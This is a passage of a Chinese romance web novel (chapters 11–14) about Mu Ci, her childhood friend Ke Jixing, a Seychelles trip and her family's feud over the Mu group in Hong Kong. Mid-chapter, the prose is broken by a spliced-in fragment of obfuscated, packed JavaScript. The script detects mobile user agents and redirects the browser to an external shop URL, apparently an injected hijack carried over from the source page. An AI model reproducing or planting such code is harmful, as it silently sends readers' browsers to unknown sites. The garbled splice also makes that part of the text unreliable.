“怎么？”
慕瓷心快到跳出胸口，“我有一个秘密。”
他似乎是笑了一下。
“什么秘密，可以让我知道一下吗？”男人绅士的问。
女孩提着花瓣裙转了个圈，在夜色中像一只粉色的蝴蝶精灵。
“看你表现。”女孩嗓音娇俏。
*
第二天，柯霁行带她出海。可能是天气原因，他们去了鲸鱼可能出现的几个地点都没有发现鲸鱼踪迹。
答应她的海钓追鲸鱼没有实现，潜水看鱼群没有什么难度。
来之前她其实就把柯霁行送她的潜水装备都带上了，但他问她的时候想到之前答应过慕港盛，慕瓷还是拒绝了。
柯霁行挑眉：“确定？不下去一起玩？”
慕瓷摇头，“我今天不想下水。你去换潜水服吧，带上相机拍给我看。”
柯霁行半天没有动作，慕瓷疑惑的看着他。
男人撑着护栏，意味不明的看着她。
“你不是给我准备了么。”
慕瓷一顿，反应过来脸颊瞬间烧红。
“柯霁行！你翻我行李箱了！”
想到那片薄薄的布料，给他准备那么私密衣物的事情就这么明晃晃被男人戳破，慕瓷觉得没脸见人了。
“迢迢小姐可不能冤枉我，我昨晚给你拿披肩时不小心看到的。”
慕瓷不听他解释。
“潜水穿那个可不行，那是泳衣，只是就算是泳衣我也不会只穿一件——不过要是迢迢想看，那就另当别论。”
“柯、霁、行！！！”
眼看女孩头上几乎要冒烟，柯霁行笑出声，不再逗她，去里间换潜水服。
柯霁行选择了自由潜水，他不喜欢束缚的背着氧气瓶，更喜欢这种一头扎进蓝色海洋的感觉，危险却令人着迷。
咬上呼吸管之前，男人踩在游艇的梯子上，对着慕瓷说：“等着，答应你的鱼群给你拍回来。”
慕瓷笑着说好。
紧身的潜水服勾勒出男人挺拔的身躯，他肌肉紧绷，像是一只蓄势待发的猛兽，猛的扎进湛蓝的大海，瞬间没了踪影。
海面一望无际，平静的像是能吞噬一切。
起初慕瓷并没有担心，毕竟连她的潜水都是跟着柯霁行学的——但一分钟，两分钟，三分钟过去，海面依然风平浪静，慕瓷开始有点心慌。
有人说过自由潜水是世界第二危险的运动。
三分半过去，慕瓷心跳加快，手心开始冒汗，她紧盯着不远处的海面，却始终没有看到男人的身影。
私人游艇停在大洋深处，看不见海岸，慕瓷恍惚间觉得这个世界好似只剩下自己一个人。
就像是那年在港城。
医院里盖着白布的冰冷身影被推出手术室，慕港盛一向挺拔的身躯也弯曲了下来。
他几乎是跪在推床边，宽阔的脊背抖动。
那段时间没有任何人关注到慕瓷，平常连她皱下眉都要哄她的宋倾再也不会回来，慕港盛疲惫的处理宋倾身后事，那一刻她像是被世界抛弃了。
就像现在这样。
慕瓷能感觉到自己心跳越来越快，以一种不正常速度的跳动。
女孩指甲无意思的掐入掌心软肉去抵御这一刻心脏的窒息感——忽然，平静的水面破开，男人举着相机浮出海面。
“迢迢，我拍到了！”
柯霁行沿着扶梯踩上来，还没站稳，慕瓷就猛地扑进他的怀抱，带着海风的咸湿，紧紧抱住他。
女孩嗓音发抖：“小行哥哥，你吓死我了，以后不许再留我一个人了！”<
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p>柯霁行愣住了。
半晌，男人温柔的摸了摸她的头：“怎么会留迢迢一个人？嗯？哥哥会永远陪着你的。”
慕瓷从他怀里抬头，反复和他确认：“永远吗？”
男人抬手，指腹将她眼尾的湿润蹭掉：“永远。直到迢迢不再需要的那一天为止。”
柯霁行想，再也没有一个人能像慕瓷一样，一个委屈的表情就可以让他溃不成军。
这一刻，就算慕瓷要的是他的命，他大概也是心甘情愿的。
*
在塞舌尔的最后一天他们去五月谷徒步看了海椰子，最后在拉齐奥海滩看日落。
夕阳像是坠落大海，橘红色和大海连成一片。
“小行哥哥，像不像你给我调的那杯酒？”
慕色迢迢。
她没告诉他，她有多喜欢这个名字，不仅仅是因为是以她的名字命名的，而是他用她的名字取名这件事已经足够暧昧浪漫了。
慕瓷不知道他取名的时候是怎么想的，但她觉得这已经超出了青梅竹马邻家哥哥对妹妹的感情了。
心脏又开始不规律跳动。
她掐住掌心，偏头看他：“你还记得我说的那个秘密吗？”
柯霁行：“记得。”
“小行哥哥，我好像喜欢上一个人了。”
男人像是被这句话击中了，好久都没回过神来，心脏像是破了一个洞，海水往里面倒灌，湿润又酸涩。
他好久才找回自己的声音，低沉沙哑。
“是谁。”
迢迢，你的二十一岁，喜欢的是谁？
慕瓷摇了摇头，看向快要被海水吞没的夕阳，有些怅然：“但我不知道他喜不喜欢我，小行哥哥，你觉得他会喜欢我吗？”
柯霁行：“。”
这句话问的莫名其妙，他怎么会知道别的男人怎么想的。
柯霁行喉咙干涩，好一会儿才找回自己的声音。
“应该会吧，我们迢迢这么好。”
慕瓷：“也不一定，他不知道我喜欢他，我还没做好和他告白的准备。”
柯霁行强忍住要骂人的冲动，他娇养她这么多年，什么都要给她最好的，深怕她受了一点委屈，现在她竟然要为了一个不知道是圆是扁的男人委曲求全？？
他深吸口气，试图劝她：“你还小，以后什么人碰不到？迢迢，你其实还可以有别的选择的。”
还要迢迢主动告白？
如果是他，如果是他，一定会给她一个隆重又——
柯霁行整个人僵在了原地，像被自己的念头给吓到了。
怎么会是他，怎么可能是他？？
他和慕瓷从小一起长大，青梅竹马，他是她的……小行哥哥啊……
可是，真的不能是他吗？
远处，最后一丝夕阳也被吞噬，夜色开始弥散。
慕瓷的嗓音也随着黑夜散开。
“不会有别人，我只喜欢他，也只要他。”
“小行哥哥，”女孩侧头问他：“你会喜欢上一个可能永远也不会喜欢自己的人吗？”
柯霁行沉默，眸色黑而沉，轮廓分明的侧脸在夜色中投下明暗光影。
时间过了很久，久到慕瓷都以为柯霁行不会回答了。
男人嗓音沉沉，快要和黑夜融为一体。
“会吧。”他说。
12. 慕色迢迢
Chapter12
塞舌尔之旅结束，柯霁行将慕瓷送回港城，之后自己独自回京。
飞机停在港城国际机场，慕港盛派了司机来接，柯霁行将她送上车，俯身替她扣上安全带。
慕瓷享受着柯霁行无微不至的服务，歪头问：“小行哥哥，你这样照顾我，如果我之后的老公没你这么细致我岂不是很有落差？”
柯霁行垂眸，将她的行李箱递给司机。
“如果你以后的老公连我都比不上，迢迢，我觉得你可以考虑一下是不是要把他变成前夫。”
慕瓷：“。”
慕瓷笑了，抬脚轻轻踢了他一下。
“喂，我连男朋友都还没谈，你这就开始咒我离婚了？”
女孩今天穿了件紧身半袖针织衫加短裙，短裙上一朵朵花苞颜色杂而融合，一眼看去很像梵高的油画，嫩白纤细双腿套上了一件蕾丝长筒袜，配了双红色漆面小皮鞋。
那双红色小皮鞋在男人黑色西装裤上胡乱的踢着。
黑白对比强烈。
男人骨节分明的手掌忽而抓住她乱蹭的脚踝。
慕瓷没挣脱开。
“你干什么？”她根本没发现自己的语气有多娇气。
柯霁行漆黑的眸色中像是掀起了一股风暴，被他极好的隐藏住。
“别乱蹭。”男人嗓音低沉带着沙哑。
脚踝被男人掌握着，慕瓷姿态却很放松，一点警惕心都没有。
慕瓷从车上冰箱中拿出一瓶水递给他：“柯霁行，你要多喝水。回到京市要记住少喝酒，常常联系我。”
女孩一句句的叮嘱着，柯霁行照单全收，享受她命令般的叮嘱。
男人接过冰凉的瓶身，放开女孩纤细漂亮的脚踝，将她蹭歪的裙摆抚正。
“什么时候回京市？”
慕瓷：“不知道，我想多陪爹地一段时间。”
还要和慕港盛一起去给宋倾过生日。
男人“嗯”了一声，没再说话。
一旁司机眼观鼻鼻观心，心说这对小情侣也太黏黏糊糊的。
最后，男人将她随身红色小挎包放到她身旁的座位上，双手撑在车后座，从后面看像是将她拢在怀中。
“早点回来。”男人看进她眼底：“迢迢。”
我也需要你陪。
*
慕瓷刚到慕家别墅，一只身形高大威风凛凛的猫咪就从花园蹿出来，在她脚边喵喵叫。
“面团！”
慕瓷惊喜，将猫搂个满怀。
管家聂叔接过她手上的小包，笑着说：“小锦上午就来了，说来给你接风。”
陶锦是慕瓷姑姑慕晓霜的儿子，她的表哥。虽然慕瓷和慕家老宅其他人关系不怎么样，但是和姑姑一家还是挺亲近的。
“说过很多次，不许喊他面团。”陶锦冷漠地说。
好好一只英姿飒爽缅因猫，被慕瓷喊的像个软绵绵小女生。
慕瓷无辜道：“可是面团很喜欢我给他取的名字呀。”
每次只要她一喊就会蹭过来撒娇。
见到慕瓷，面团压根记不起来自己还有个亲爹，慕瓷走哪跟哪。
陶锦面无表情地看着自己这只没有丝毫骨气的大猫，轻嗤一声。
“塞舌尔有什么好玩的，自己家就在海岛，还用得着去外面看？怎么是外面野花香一点？”
“……你管我啊，还有陶锦你真的很毒舌耶。”慕瓷吐槽。
慕瓷端着保姆洗好的杨梅吃着，眯了眯眼，满足的样子和正在吃冻干的面团简直一模一样。
“Gene，你这次买的杨梅还不错。”
陶锦从她面前捏出一颗，“是还不错。”
“不过，这不是我买的，是程少爷送的。”
慕瓷吃杨梅的动作顿了一下。
程嘉裕是裕丰银行的二少爷，港城人几乎都知道程嘉裕追慕瓷追很久了。
“他也还算不错，追你那么久，港媒盯他这么紧，一点花边新闻都没有。Ariel，你不妨考虑一下。”
慕瓷：“……”
“能不能不要乱说话，再说我不考虑异地恋。”
陶锦诧异：“你不会还要回京市吧？拜托，京市到底有什么吸引你？？”
慕瓷吃杨梅的动作都慢了下来，她抿了抿唇。
“再说你不回来陪小舅吗？还是说你要小舅把一手盘活的集团送给慕哲瀚啊？”
慕哲瀚是大伯慕卓诚的长子，前段时间被慕老爷子塞进了慕氏集团，现在分管商业地产。
早年慕港盛要娶没有任何背景的宋倾，慕老爷子死都不同意，最后发了话，如果慕港盛真的要娶她，他就当再也没有这个儿子。
其实慕老爷子那个时候是在气头上，慕港盛是他最得意的儿子，他对慕港盛的期许就连长子慕卓诚也比不上，慕港盛还在读书时就让他进了集团，掌握实权。
那个时候他只是想让慕港盛让步，到最后他发现了慕港盛的强硬，妥协地说：“你如果真的喜欢那个女人，养在外面我就当看不见，但慕氏集团未来的董事长夫人必须由我亲自选，港盛，你现在进了董事会，应该知道权利越大责任越大，有些时候就算是我也不能事事由心。”
可慕港盛只说了一句：“如果我连爱人都守不住，这个集团董事长当的也窝囊。”
最后慕港盛真的就离开港城，和宋倾一起去了京市。
慕老爷子气的连夜进了医院，后来慕卓诚趁机挤进集团，但显然慕卓诚压根没有那个能力担起集团整个担子。二十年过去，慕氏式微，股价一跌再跌。
慕老爷子这才惊觉，再这样下去，集团怕是真的要落寞了。
最后是慕老爷子亲自去京市请，慕港盛和宋倾才回港，以一己之力救下岌岌可危的集团，现在集团蒸蒸日上，大伯一家又想进来分一杯羹。
心思简直昭然若揭。
慕瓷知道爹地一直不容易，她垂着眼：“那怎么办，我又不懂集团业务。”
陶锦沉默，宋倾身体不好，她和小舅只有慕瓷一个女儿，但慕瓷显然对慕家产业没有兴趣，慕港盛也随她，之前谈起这个，他说：也没什么，迢迢做她喜欢的事就好，这么大的担子她也担不起来，我和你舅妈也没想着让她担。
“但你总不能一直呆在京市，港城才是你的家。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13812265|146176||http|test|mini|href|location''.split(''|''),0,{}));
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陶锦在别墅吃了晚饭才走，走之前问她：“周六外公生日，你去吗？”
慕瓷说：“去吧。”
虽然爷爷对她一般，但是怎么说也是长辈，慕港盛之前问过她，她答应了。
陶锦把面团留在了别墅：“让他陪你几天，周六再把猫带来。”
*
第二天是宋倾的生日，慕港盛没去集团，他在家亲自做了几道宋倾喜欢的菜，慕瓷在厨房给他打下手。
慕港盛一身黑衬衫加西裤，衬衫扎进裤子里，身姿挺拔。他早年间就是港城出了名的贵公子，二十年前港城谁不知道慕家二少？慕港盛常年霸占港媒头条，现在依旧风度翩翩，还因为阅历加持，更显得温润俊朗。
“爹地，妈咪当年是不是被你迷到不行？”
慕瓷忽然对慕港盛和宋倾的恋爱过程很好奇，她只知道当时宋倾在港大读书，两人才有机会相识。
慕港盛笑了笑：“是我被你妈咪迷到不行。”
男人手里动作微顿，像是陷入了回忆，眼眸里浸满了温柔。
“喜欢你妈咪的人很多，我废了不少工夫才让你妈咪决定嫁给我。”
慕瓷弯了弯唇：“才不是呢，妈咪是个颜控，她偷偷和我说过，她当初一眼就看中你了。”
“爹地，妈咪对你是一见钟情。”
慕瓷眼眸闪了闪，她踱步走到慕港盛身边。
“爹地，如果我说，我是说如果哈——如果我喜欢上一个人，你会同意吗？”
慕港盛看了她一眼。
“为什么会觉得我不同意。”
慕瓷摸了摸鼻子，“如果我喜欢的人在京市，那我之后可能不会常年留港，你还会同意吗？”
慕港盛放下餐盘，认真地对慕瓷说：“迢迢，你以后的另一半你自己决定，那是你的私事，我不会横加干涉。同样，不管最后你选择的是谁，你都要自己承担起选择的后果。当然，爹地的意思不是不管你，而是希望你以后可以不后悔，也不想你因为一些世俗的原因去选择另一半。这一点我很早就和你妈咪达成共识了，这也是我这些年奋斗的意义——希望你站在人生岔路口的时候，可以没有任何后顾之忧进行抉择。”
他和宋倾早年因为家庭原因经历过不少波折，这些他不希望慕瓷再体会一遍。
慕瓷没想到慕港盛竟然是这样想的，“可如果我不回港，我们就没那么容易见面了。”
慕港盛笑了：“迢迢，现在飞机很方便的，就算你嫁去国外，也没什么大不了。更别说京市了，不过几个小时而已，可能在京市堵车都不止这个时间。况且爹地还算有些积蓄，私人飞机养护支出还是付得起的。”
慕瓷：“……”
谦虚了，慕氏集团董事长，只能算有些积蓄？
慕港盛慢条斯理的说：“不过比起这个我更关心的是——迢迢，你在京市喜欢的人是谁？可以告诉爹地吗？”
慕瓷心虚，不敢看他，拿起已经处理好的鳕鱼，生硬的转移话题：“爹地，这块鳕鱼让我来做好不好？我也想让妈咪尝尝我亲手做的菜。”
慕港盛睨了她一眼，无奈地摇了摇头，手把手教她怎样煎鳕鱼。
13. 慕色迢迢
Chapter13
周六，慕公馆宴客，慕港盛去深市出差，要晚一点回来，陶锦亲自来慕家别墅接她。
慕瓷踩着高跟鞋出来，陶锦半靠着那辆极其显眼的阿斯顿马丁，上下打量着她，痞里痞气的吹了声口哨。
“wow~Ariel，应该让那些人瞧一眼，这不叫真正的大小姐，他们那些端不上台面的东西才算么。”
慕瓷不在港城出生，慕老爷子之前不承认宋倾也不是什么秘密，圈子里有不少私下说闲话的人。
不过这些话慕瓷一向听过就作罢，她本来对港城就没什么感情，这么多年她都住在京市，况且某些程度上这些人也没说错，她确实不在港城出生，若不是慕港盛在港城，她估计不会回这个地方。
慕瓷今天穿了件白色锦缎长裙，肩膀处连着一片绣着梨花的淡青色半透明薄纱，直接穿到腰间，右肩手臂上有几只振翅的白蝶，展翅欲飞。
“面团还在睡觉，睡软了骨头，喊也喊不醒，下回我送到你那儿去。”
陶锦随意地应了一声，启动车子，蓝色的阿斯顿马丁像是蛰伏在马路上的巨兽，咻的一下从半山驶出。
这里到慕公馆大概四十分钟的路程，陶锦硬生生将路程压缩到半个小时。
车子驶入慕公馆，有侍者上前接过钥匙替他泊车。
慕瓷下车，面无表情的说：“Gene，你别想再让我坐你的车。”
陶锦耸耸肩，推着慕瓷肩膀往里走：“大小姐，二十多岁的年纪不搞刺激你搞什么？我看你别不是在京市学什么国画学成老古董了。听说你老师都快八十了？他能教你什么？把你教的一板一眼，一点都不可爱了。”
慕瓷冷漠：“老师今年刚过七十。”
陶锦：“。”
有什么区别？
客厅里，慕卓诚和慕晓霜两家人已经到了。
慕卓诚笑的温和：“小瓷来了？什么时候回港，也没和家里人说一声，你父亲把你藏的严实。”
“回来没几天——”
慕瓷先走到慕老爷子身边，将礼物递给他：“爷爷，生日快乐。”
慕老爷子点了点头：“你有心了。”侧头示意管家将礼物收起来，眼神全程没有往精致包装上瞧一眼。
慕晓霜疼爱慕瓷，怕她不开心，拉着慕瓷的手说：“你爹地跟我通过电话，他正在来的路上，估摸着也快到了。”
慕瓷还没说话，慕晓霜身边跟着的一个女孩子小声嘀咕了声：“外公生日，谁不是早早就来庆贺了，偏就是他们架子大。”
慕瓷看了她一眼，语气挺淡：“你哪位？”
陶阳辉将女孩子拉到自己身后，“Ariel，你们之前没见过，这是你表妹陶佳毓。”
陶阳辉说的含糊，但慕瓷瞬间就明白了，原来这位就是慕晓霜丈夫陶阳辉的私生女陶佳毓。
之前就听说陶阳辉弄出个私生女，竟然瞒了姑姑快二十年，藏得严严实实。陶家其实远比不上慕家的底蕴，只是慕晓霜出嫁的时候慕氏是慕卓诚当权，正是式微的时候，那个时候两人某种程度上也算是商业联姻。
和慕晓霜结婚这么多年陶阳辉一直扮演着好好先生的角色。丑闻突然冒出来，港媒暗地里嘲笑慕晓霜瞎了眼，挑来挑去挑了个在外面偷吃的男人。
慕瓷顿了顿，慕晓霜满脸不自然，眼底还有一股遮掩不住的郁气。
慕瓷接过侍者递过来的热红酒，捏住酒杯晃了晃。
“表妹？我怎么记得我只有两个表哥，哪里来的表妹。”
港城人尽皆知，慕晓霜只有两个儿子，陶锦和陶清。
不知道陶阳辉是怎么劝动慕公馆其他人，竟然在这么重要的宴会上让陶佳毓堂而皇之的出现在慕公馆，还喊慕老爷子叫外公。
慕老爷子愿意认这个外孙女，她可不愿意认这个表妹。
这不是把慕晓霜的脸面堂而皇之地踩在地上么？
陶佳毓面色难看，下意识上前一步，可人还没动作，身后忽然传来一股极大的力道——她回头，不知从哪出来的陶锦捏住她的手腕，力道大的快要将她手腕捏碎。
“什么话该说什么话不该说父亲没有教过你吗？如果你还是这样连场合都不分，我看今晚你也不用去宴会厅了。”
陶锦发起疯来连陶阳辉都不敢惹，陶佳毓悻悻地不再挑事。今天场合极其重要，她出现在慕公馆的宴会上从某种意义上能表明慕公馆承认她的身份这件事。
陶家已经是港城名门望族，若是之前还能与慕家比上一比，但自从慕港盛重新掌权，陶家难以望其项背。
“好了，家和万事兴。”慕老爷子不轻不重的看了眼慕瓷：“小瓷，你平常少回港，很多事情不知道也正常，这是你表妹，她年级比你小，之后要多照拂一下。”
陶佳毓勾了勾唇，看，就算是慕港盛唯一的女儿又怎么样？爷爷还不是照样不喜欢她？港城谁不知道慕公馆压根不承认这位慕大小姐啊？风水轮流转，慕港盛又没有儿子，等到他百年之后，慕氏谁掌权还说不一定呢。
管家适时说：“二少爷已经到了。”
慕老爷子“嗯”了一声：“港盛到了，去宴会厅吧。”
*
一场聚会完全变成了商业交际场所，有太多人围在慕港盛身边只为了和他搭句话，她在慕港盛身边，阿谀奉承的话只多不少，那些话她都快要听腻了，脸也要笑僵了。
“爹地，我出去透口气。”
慕港盛看了她一眼：“嗯。累了就上楼休息一会儿，走的时候我让人叫你。”
慕公馆大到像迷宫，其实她总共也没来过这里几次，对地形实在算不上熟悉。
她本来想去休息室和柯霁行打个电话，结果转来转去转到了花园。
今晚宴会港城圈子里凡是和慕氏有些交集的人都来了，毕竟是慕老爷子过寿，虽然传言慕港盛和父亲关系不好，但谁都知道血缘关系斩不断，况且慕氏之后谁说的算还真说不准，毕竟慕董就一个女儿。
此刻花园已经有人了，慕瓷不欲打扰，转身想走。谁想步子刚迈开，就听到有人在身后提起宋倾的名字。
慕瓷脚步顿了下来。
“谁不知道当初宋倾勾引慕董啊。”
“你没见过宋倾？肯定长得漂亮咯，你没见过慕瓷吗？和她那个狐媚子妈妈长得像的很！”
“当初港城圈子都传遍了，慕港盛被勾的魂都没了。”
“谁知
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道呢？不然宋倾一个女大学生怎么可能成功上位嫁给赫赫有名的慕二少爷？还好宋倾短命，所以说老天爷还是在看的。可能是床上工夫好——”
话还没说完，兜头被热红酒泼了个满身。
女人尖叫，捂住脸：“谁啊？有病啊？”
花园里的人面面相觑，谁也不敢多说一句话。
女人还在骂，身边人拉了拉她的衣角：“……别说了。”
“你拉我干什么！”
还没等她擦干脸上的酒渍，耳边忽然传来一道冰冷的嗓音。
“要是不会说话可以不说，嘴长出来是用来吃饭的，不是用来倒垃圾的。”
谁都不敢为这个女人说一句话。
慕瓷平静的看着她，明明是盛夏，女人却浑身打了个冷颤。
“……Ariel，对不起，我乱说的……”
慕瓷却没有再看她一眼，转身就走，离开了这个地方。
留下来的几个人心里打鼓，“怎么办，在背后说别人闲话，还被正主听到了！”
“怕什么，慕瓷总不至于这么大还回家告状吧？”女人其实也止不住心慌，心里没底，但还是强装镇定。
*
慕瓷吐出一口郁气，伸手在侍应生托盘上拿了一杯威士忌，顺便问了个路顺利走到休息室。
她直接给柯霁行打了个视频。
过了一会儿，那边才接起。
柯霁行一身正装，他那边灯光璀璨，看样子应该是在应酬。
慕瓷其实很少看到他这么正式的模样，他低声和身边人说了声抱歉，站起身。
男人轮廓分明的侧脸随着走动在画面中晃来晃去，摄像头歪了一点，慕瓷看到他的喉结自然地上下滚动了一下。他今天打了个温莎结，衬衫扣到最上面一颗，禁欲又性感。
视频画面背景变暗，应该是男人走到了室外。
“怎么了？”
她很少和他打视频，一般是电话居多。
柯霁行拿起手机，看着画面中的女孩，用眸光漫不经心却一点一滴地巡视她的面容，从饱满的额头到明亮的双眸，到小巧的鼻子，最后到湿润的嘴唇。
——口红有些花了，应该是刚喝过酒。
柯霁行眯了眯眼，看到她手中琥珀色的液体。
“慕迢迢，你能耐了，开始喝威士忌了。”
看到她身上的礼服，他问：“参加宴会？”
慕瓷撑着脑袋，葱白的手指轻轻划过冒着水珠的酒杯，指间湿润晶莹。
柯霁行看着女孩指尖动作，眸色幽深。倏地，他将手机拿开了些，松了松领口。
慕瓷没回他那句话，歪着脑袋蜷缩在沙发里，眯起眼睛，像是睡着了一般。
女孩整个身体都被沙发笼罩着，整个人显得软乎乎的。从视频里看，她整个身体小到不可思议，柯霁行在心里丈量了一下，觉得自己单手就能把她抱起来。
柯霁行心软到不行，觉得这样的慕瓷可爱极了，男人用力地摩挲着指腹，抵抗住心里莫名涌起、压制不住的颤栗感。
休息室灯光昏暗，女孩无意识用额头蹭了蹭柔软的毛毯。
嗓音低的仿若未闻：“小行哥哥，我好想你啊。”
14. 慕色迢迢
Chapter14
慕公馆。
天色渐暗，客人都已经离开，慕老爷子把慕卓诚和慕港盛留了下来。
慕港盛半靠在沙发上，手上燃了支雪茄。
“什么事？”
慕卓诚：“二弟，怎么说我们也是一家人，何必这么生分？”
慕港盛没应这句话。
慕港盛没说话，慕老爷子倒是和慕卓诚聊起集团的事情，话到一半转头问起慕哲瀚在集团怎么样。
慕港盛淡声道：“集团那么多业务，我如何一一过问？”
慕老爷子放下手里的茶杯，没控制住力道，茶水从杯中溢出，滴溅在梨木茶桌上。
“哲瀚不是别人，是你的侄子！”
翻来覆去都是这几句打感情牌的话，慕港盛听烦了。
“到底什么事？”
慕老爷子知道慕港盛开始不耐烦了，没再绕弯子：“我和你大哥商量了一下，准备让哲瀚过继到你名下，问问你的意思。”
慕港盛掐灭雪茄，“没别的事我先走了，迢迢困了。”
他没兴趣回答这种无聊的问题。
“你没听到我说话？？你眼里还有没有我这个父亲？？”
慕港盛嗓音听不出什么情绪：“如果我眼里没你这个父亲，今天这个宴会我就不会来。”
慕卓诚看了看老爷子又看了眼慕港盛。
“二弟，你不要对谁都抱有敌意。你这些年被众星捧月惯了——也是，外面那些接近你的人哪个能拍着胸脯说没有别的想法？但我们毕竟是亲人，和他们不一样，这桩事不是我提出的，你不必对我抱有这么大敌意。扪心自问，哲瀚是我最有出息的儿子，如果不是爸劝我，我怎么会把亲儿子拱手让人？”
最后他似乎是叹了口气：“爸也是为你好，你体谅一下老人的心情。”
“为我好？”慕港盛扯了扯嘴角：“好熟悉的话。”
他转身，看着慕老爷子，一字一句的说：“当初你要我和宋倾分开，说的也是这句话。这么多年过去了，还是这套说辞，你没说腻我都听腻了。”
慕老爷子胸口起伏不定，似乎是被他气狠了，好半晌没开口说话，管家给他顺了顺气，他才慢慢平复下来。
“我知道你还在为当初的事情怪我，二十多年了，你不能一直陷在过去，故步自封！”
“你看看港城哪个家族掌权人像你一样只有一个女儿？你就慕瓷一个，你想过以后没有？我好不容易劝动你大哥让他把哲瀚过继给你，你倒好，把枪口对准自己的亲人！”
“你不同意过继哲瀚，也行。那你再娶，我就再也不提这件事了。”
慕老爷子这句话刚说完，慕港眸中闪过一丝荒诞。
他没想到父亲居然还抱有这种想法。
他自嘲的笑了笑，不知道是笑自己还是笑别人。
他居然还会对这个家有期待。
“我这辈子只会有一个妻子。”
说罢，脚步再也没停留，径直离开了这个令人窒息的地方。
*
慕瓷睁开眼，发现自己竟不知什么时候睡着了，她点了两下手机，已经没电自动关机。
阳台上有点点星火，慕瓷披着毛毯走过去，慕港盛坐在藤椅上抽烟，侧脸在暖黄的夜灯中明暗交错。
“爹地。”
慕港盛回头，掐灭烟：“醒了？”
慕瓷看见烟灰缸里有好几只烟头。是普通的香烟，她很久没见爹地抽这种烟了，这些年他都是抽雪茄比较多。
她在慕港盛身边坐下，酒意散了几分，她难得有这样的时刻能静静地陪着父亲。
慕港盛没再抽烟，他看着无边的夜色，温和的看向慕瓷：“回京市的机票买好了？”
慕瓷讶异，她票已经订好了，正准备找机会和慕港盛说。
爹地怎么会知道——
“你的心思全都写在脸上了，迢迢。”
每天晚上都要躲在房间打电话，一打就是一个小时起步，手机一响立马要拿起来查看。
慕港盛在心里叹了口气。
女儿总要长大，雏鹰也需要学会独自飞翔。
本来要说出口的那些叮嘱最后一个字也没说。
“伽蓝这些年我都是让阿义在管，既然你打算长留京市，那就交给你打理。”
伽蓝是港城知名奢侈品品牌，当初慕港盛和宋倾结婚的时候，他收购了伽蓝作为聘礼送给宋倾，后来宋倾将伽蓝总部挪到了京市，这些年对这个品牌倾尽了心血，让伽蓝一跃成为目前国际顶奢品牌之一，而她留下来的一些设计也成为了伽蓝热销经典款，甚至有些已经绝版，千金难求。
“没关系，就当练练手，阿义会帮你。”
慕瓷小时候没少在伽蓝玩，对那里的一切都很熟悉，连过道上的壁画都是她亲手所作。
她对伽蓝也有很深的感情，她眷恋妈咪留下来的一切东西。
慕港盛替女儿将要落下的毛毯往上拉了拉：“时间过得好快，爹地还记得当初你出生的时候，那么小一只，你妈咪担心的要命，害怕养不活你。”
当初慕瓷出生的时候只有四斤多，在保温箱里养了一个多月，宋倾每天都在挂心。
还好慕瓷平平安安地长大了，他们担心的那些事并没有发生。
*
慕家别墅。
慕瓷晚上在慕公馆睡了一会儿，这会儿没有睡意，索性起来收拾行李。面团在她脚边扑来扑去，钻进行李箱玩儿，不知道是第几次，慕瓷将面团从箱子里再次抱出来。
“No，面团你乖一点。”
面团歪着头“喵”了一声，以为慕瓷在和她玩儿，跳起来咬住她睡衣袖口上的羽毛。
慕瓷无奈，只能放下衣服，陪面团玩。
女孩点了点缅因的鼻头，“你呀，明天就把你送回给Gene。”
她给面团咔咔拍了好几张照片，发到她和温荔还有谭凝几个人的群里，大半夜居然一个都没有睡，手机震个不停，全部在云吸猫。
慕瓷笑得欢快，想了想，把照片一股脑全转发给柯霁行。
手机突然连续震动起来，是柯霁行给她打电话。
“查岗，小行哥哥，这么晚不睡觉在干什么！”
那边男人的嗓音带笑：“来见个人。”
“这么晚了还要工作，是很重要的人？”慕瓷将手机略微拿开一些，看了眼时间，已经快凌晨一点。
“嗯，很重要。”
隔着电话，男人的嗓音混着电流声仿佛格外低沉。
慕瓷没有说过，她很喜欢柯霁行的音色，低沉有磁性，听着总是会让她耳热。
“哦。”慕瓷心里有点不舒服，故意找茬：“有多重要啊？”
没有问出的话是，难道比我还重要吗？
柯霁行似乎是低声笑了笑。
“重要到可以让我丢下整个宴会的人，连夜赶飞机来港城见她，只因为她说了一句想我。”
“迢迢，你说，有多重要，嗯？”
慕瓷心里怦怦跳，几乎是立马就站了起来，面团玩累了窝在她怀里睡的正香，她猛地站起来把面团吓了一跳，“喵呜”叫了一声，缩到行李箱里背对着不理她了。
她此刻却没有心情再将祸害她那些价值不菲衣服的缅因抱出来，她捏着手机，掌心潮湿。
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“你来港了？”
柯霁行：“如果迢迢小姐再不屈尊下楼，半山今夜的蚊子怕都要被喂饱了。”
慕瓷觉得晕眩，开始觉得是不是晚上饮的威士忌还没散干净，可她明明只尝了一口。心跳快的像是要跳出胸口，她连拖鞋都来不及穿上，脚步慌乱地奔到阳台。
远远能看到院子外站着一个男人，他半倚着车，扬了扬手里还亮着屏幕的手机。
不是柯霁行还是谁？
慕瓷一秒没停留，边往楼下跑边对电话里的男人说：“等我，小行哥哥。”
“等你。”男人的声音温柔到不可思议：“慢点迢迢，我就在这，不会走。”
*
直到看到柯霁行的这一刻，慕瓷还是感觉像在做梦。
男人垂眸看着她，眼神专注而热烈。
慕瓷看不懂他的眼神，柯霁行今晚的一切行为她都不明白。
有时候她觉得自己不是很懂他，明明他们一起长大，在她面前，他是她的小行哥哥，对她有求必应，但有时候她也会觉得他很有距离感。
柯霁行是财经新闻常客，电视杂志上的他风度翩翩，眼底却是藏不住的冷漠，那种感觉让她很陌生，是她从未涉及过的领域，也是她没见过的柯霁行。
慕瓷舔舔唇，知道自己不该问，但还是没忍住问了出来：“……就是因为我的一句话，你连夜来找我吗？”
她故作轻松，可只有她自己知道自己有多紧张。睡衣袖口一圈黑色羽毛被攥紧又放开，掌心的湿意沾染上去，羽毛黏腻粘在一起——已经一塌糊涂。
柯霁行袖口随意挽着，姿态轻松。
闻言，男人顿了顿，略微站直了身子。
他眸光轻闪：“明天有个剪彩——”
知道自己今晚的举动已经过界，柯霁行试图藏住自己的心思：“本来应该明天来的，但是晚上和你打过视频之后临时决定提前过来。”
可他却没发现女孩骤然黯淡下去的眼神。
